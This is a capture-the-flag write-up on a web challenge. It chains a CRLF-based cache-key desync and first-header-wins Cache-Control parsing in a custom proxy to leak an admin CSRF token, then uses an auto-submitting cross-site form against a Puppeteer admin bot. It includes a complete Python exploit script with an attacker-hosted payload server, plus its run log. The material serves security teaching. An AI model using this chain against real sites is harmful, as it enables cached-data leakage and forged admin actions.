$ cat writeup.md…
$ cat writeup.md…
umasscybersec
Task: a Flask marketplace sits behind nginx and a custom Python cache proxy, while an authenticated Puppeteer admin bot reviews user-submitted URLs. Solution: abuse a CRLF-based cache key/path desync plus first-header-wins Cache-Control parsing to cache the admin submissions page, leak the deterministic admin CSRF token and pending submission id, then use a normal cross-site top-level form POST to approve the submission and unlock /flag.
This challenge is a great example of a multi-layer web exploit where every layer matters:
The goal is to make any product public. Once at least one product has is_public=True, /flag returns the flag.
At first glance this looks like a standard admin-bot CSRF problem. It is not. The intended chain is a combination of:
Cache-Control handling in the custom proxy,The flag pun is the whole challenge: do not mess with nginx and Chromium. You need both the nginx/header-ordering side and the Chromium/cookie-navigation side for the exploit to work.
The flag endpoint only checks whether any product has been approved:
@marketplace_bp.route('/flag') @login_required def flag(): has_public_listing = Product.query.filter_by(is_public=True).first() is not None if not has_public_listing: return "No flag for you :(", 200 return current_app.config.get('FLAG'), 200
So the real problem is: how do we force an admin approval?
The deployed stack is effectively:
attacker/browser | v cache_proxy:5555 ---> nginx ---> backend Flask \-> admin Flask bot (Puppeteer + Chromium) - logs in as admin - stores the admin session cookie for http://cache_proxy:5555 - visits submitted URLs
Two details matter immediately:
http://cache_proxy:5555.That means if the bot causes something sensitive to be cached there, an external attacker can request the same cache key and recover it.
The cache proxy allows caching for some extensions, including .txt:
CACHE_EXTENSIONS = {".css", ".js", ".png", ".jpg", ".jpeg", ".ico", ".svg", ".txt"} key = self.path.lower() clean_path = re.split(r'%0d%0a', self.path, flags=re.IGNORECASE)[0]
This is the first bug.
key is the entire raw request path.clean_path is what gets forwarded upstream.%0d%0a acts as a delimiter for the upstream path, but not for the cache key.So a request like:
/admin/submissions.html%0d%0arand.txt
behaves differently in two places:
/admin/submissions.html%0d%0arand.txt/admin/submissions.htmlThis gives us a classic cache key / upstream path desynchronization primitive.
It is not request smuggling. Nothing fancy happens on the wire. The proxy simply uses one string for caching decisions and a different string for forwarding.
Cache-ControlThe cache proxy stores the first header value it sees for each header name:
if lname not in header_dict: header_dict[lname] = value.lower()
Then it decides whether to skip caching based on that first Cache-Control.
That would already be suspicious, but nginx makes it exploitable.
public, nginx appends no-storeFor /admin, nginx adds a no-cache policy:
location /admin { add_header Cache-Control "no-store, no-cache, must-revalidate"; proxy_pass http://admin:9999; }
But the admin Flask app itself returns:
resp.headers['Cache-Control'] = 'public'
So the final response contains both headers, in this order:
Cache-Control: publicCache-Control: no-store, no-cache, must-revalidatenginx is doing the right thing for its own model: it appends a header. The custom cache proxy is doing the wrong thing: it only remembers the first Cache-Control, which is public. As a result, the proxy caches a page that absolutely should never be cached.
The admin submissions page renders approve forms and embeds the CSRF token directly in HTML:
<form method="post" action="{{ backend_url }}/approval/approve/{{ sub.id }}"> <input type="hidden" name="csrf_token" value="{{ csrf_token }}"> </form>
The token is deterministic for admin:
secret = str(current_app.config.get('SECRET_KEY', '')).encode('utf-8') msg = f"admin:{current_user.get_id()}".encode('utf-8') return hmac.new(secret, msg, hashlib.sha256).hexdigest()
We do not need to forge it. We only need to see it once.
The approval endpoint then does exactly what we want:
if current_user.username != 'admin': return "Unauthorized - only admin can approve", 403 if not _validate_csrf(form_token): return "Invalid CSRF token", 400 product.is_public = True
So once we know:
we can make the bot approve our own listing.
Register, log in, and create any product. The product starts private.
Submit this kind of URL for admin review:
http://cache_proxy:5555/admin/submissions.html%0d%0a<random>.txt
Why this works:
.txt suffix and considers it cacheable,/admin/submissions.html upstream,Using a random suffix avoids colliding with previous attempts.
After the bot primes the cache, we request the same path externally:
/admin/submissions.html%0d%0a<random>.txt
Now we receive the cached admin HTML and can extract:
/approval/approve/<id>.At this point the challenge becomes a CSRF problem, but now we actually have the correct token.
This is the second half of the challenge, and also where the biggest false lead came from.
The bot code sets the admin session cookie like this:
await page.setCookie({ name: 'session', value: adminSession.split('=')[1], url: BACKEND_URL, httpOnly: true, secure: false });
with:
BACKEND_URL = http://cache_proxy:5555
Chromium is launched with:
args: ['--no-sandbox', '--disable-setuid-sandbox', '--disable-features=SameSiteByDefaultCookies,CookiesWithoutSameSiteMustBeSecure']
That matters because:
cache_proxy,So a public attacker page containing:
<form method="POST" action="http://cache_proxy:5555/approval/approve/1"> <input name="csrf_token" value="LEAKED_TOKEN"> </form> <script>document.forms[0].submit()</script>
is enough. When the bot opens that page, Chromium submits the form to http://cache_proxy:5555/... with the admin session cookie attached. The backend sees:
Result: the submission is approved and the product becomes public.
The hardest part of this challenge was not the cache leak. It was trusting the browser behavior.
| Dead end | Why it looked plausible | Why it was wrong |
|---|---|---|
| PNA blocks the cross-site POST | A first test used a cross-site form POST to /register and no new user appeared | That test was invalid because the bot was already authenticated as admin, so /register immediately redirected instead of creating a user |
| Popup retargeting tricks | If normal POSTs were blocked, browser-navigation tricks might have been needed | They were unnecessary once the /register test was understood correctly |
javascript: or DNS-based pivots | Useful in some admin-bot challenges when direct cross-site requests fail | The final exploit only needed a plain auto-submitting HTML form |
| CSRF token forgery | The token was deterministic HMAC-based | Leakage was easier than forgery because the admin page itself exposed the valid token |
The invalid /register test caused a false negative and sent the investigation in the wrong direction. Once that assumption was removed, the exploit simplified dramatically.
This was the successful flow:
[*] register bbm_wvzxrdx6 -> 302 /login [*] login -> 302 /marketplace [*] create product -> 302 /product/1 [*] submit cache-deception url: http://cache_proxy:5555/admin/submissions.html%0d%0avhw85i.txt -> 302 /submission/success/1 [*] wait 12s for bot to prime the cache [*] fetch cached key /admin/submissions.html%0d%0avhw85i.txt -> 200 X-Cache= HIT len= 4792 [*] leaked csrf_token = e0858087452e9745bf41a5496fbc4c49296ac1794b87afe96d2ca1ab169869c9 [*] pending submission ids in cache: ['1'] [*] target submission id = 1 [*] restart attack host with approve form [*] submit attack url to bot: http://bore.pub:6700/approve?r=gwiqzfb5 -> 302 /submission/success/2 [*] wait 12s for bot to execute form [*] check submission status -> 400 {"error":"Submission is not pending","status":"approved"} [*] fetch flag FLAG -> 200 UMASS{REDACTED}
The 400 during the status check is actually a success signal: the submission is no longer pending because it has already been approved.
The script below automates the full chain:
#!/usr/bin/env python3 import random import re import string import threading import time from http.server import BaseHTTPRequestHandler, HTTPServer import requests BASE_URL = "http://TARGET" PUBLIC_HOST = "http://ATTACKER-HOST" def randstr(n=8): return "".join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n)) def extract_csrf(html): m = re.search(r'name="csrf_token" value="([0-9a-f]{64})"', html) if not m: raise RuntimeError("csrf token not found") return m.group(1) def extract_pending_ids(html): return re.findall(r'/approval/approve/(\d+)', html) class ApproveHandler(BaseHTTPRequestHandler): csrf_token = None submission_id = None def log_message(self, fmt, *args): return def do_GET(self): body = f"""<!doctype html> <html> <body> <form method="POST" action="http://cache_proxy:5555/approval/approve/{self.submission_id}"> <input type="hidden" name="csrf_token" value="{self.csrf_token}"> </form> <script>document.forms[0].submit()</script> </body> </html>""".encode() self.send_response(200) self.send_header("Content-Type", "text/html; charset=utf-8") self.send_header("Content-Length", str(len(body))) self.end_headers() self.wfile.write(body) def start_server(csrf_token, submission_id, host="0.0.0.0", port=8000): ApproveHandler.csrf_token = csrf_token ApproveHandler.submission_id = submission_id httpd = HTTPServer((host, port), ApproveHandler) t = threading.Thread(target=httpd.serve_forever, daemon=True) t.start() return httpd, f"{PUBLIC_HOST}/approve?r={randstr()}" def submit_for_review(session, product_id, url): data = { "product_id": str(product_id), "url": url, } r = session.post(f"{BASE_URL}/submission/create", data=data, allow_redirects=False) if r.status_code != 302: raise RuntimeError(f"submission failed: {r.status_code} {r.text[:200]}") return r.headers.get("Location", "") def main(): s = requests.Session() username = f"bbm_{randstr()}" password = "bbm_password" print(f"[*] register {username}") r = s.post( f"{BASE_URL}/register", data={"username": username, "password": password}, allow_redirects=False, ) print(" ->", r.status_code, r.headers.get("Location")) print("[*] login") r = s.post( f"{BASE_URL}/login", data={"username": username, "password": password}, allow_redirects=False, ) print(" ->", r.status_code, r.headers.get("Location")) print("[*] create product") r = s.post( f"{BASE_URL}/product/create", data={"name": "brick", "description": "brick", "price": "1"}, allow_redirects=False, ) print(" ->", r.status_code, r.headers.get("Location")) m = re.search(r'/product/(\d+)', r.headers.get("Location", "")) if not m: raise RuntimeError("product id not found") product_id = int(m.group(1)) suffix = randstr(6) poison_url = f"http://cache_proxy:5555/admin/submissions.html%0d%0a{suffix}.txt" print(f"[*] submit cache-deception url: {poison_url}") loc = submit_for_review(s, product_id, poison_url) print(" -> 302", loc) print("[*] wait 12s for bot to prime the cache") time.sleep(12) cache_path = f"/admin/submissions.html%0d%0a{suffix}.txt" print(f"[*] fetch cached key {cache_path}") r = s.get(f"{BASE_URL}{cache_path}") print(" ->", r.status_code, "X-Cache=", r.headers.get("X-Cache"), "len=", len(r.text)) if r.status_code != 200: raise RuntimeError("failed to fetch cached page") csrf_token = extract_csrf(r.text) pending_ids = extract_pending_ids(r.text) if not pending_ids: raise RuntimeError("no pending ids found") submission_id = pending_ids[0] print(f"[*] leaked csrf_token = {csrf_token}") print(f"[*] pending submission ids in cache: {pending_ids}") print(f"[*] target submission id = {submission_id}") print("[*] restart attack host with approve form") httpd, attack_url = start_server(csrf_token, submission_id) print(f"[*] submit attack url to bot: {attack_url}") loc = submit_for_review(s, product_id, attack_url) print(" -> 302", loc) print("[*] wait 12s for bot to execute form") time.sleep(12) print("[*] check submission status") r = s.post( f"{BASE_URL}/approval/approve/{submission_id}", data={"csrf_token": csrf_token}, ) print(" ->", r.status_code, r.text[:200]) print("[*] fetch flag") r = s.get(f"{BASE_URL}/flag") print(" FLAG ->", r.status_code) print(r.text) httpd.shutdown() if __name__ == "__main__": main()
Each individual part is understandable, but the full exploit only appears when all of them are combined:
Miss any one of those and the exploit breaks.
That is why the flag name is so fitting:
UMASS{REDACTED}
The exploit depends on misunderstanding both of them.
Use this pattern when you see:
.txt, .css, or .jsCache-Control headers crossing reverse-proxy layers$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar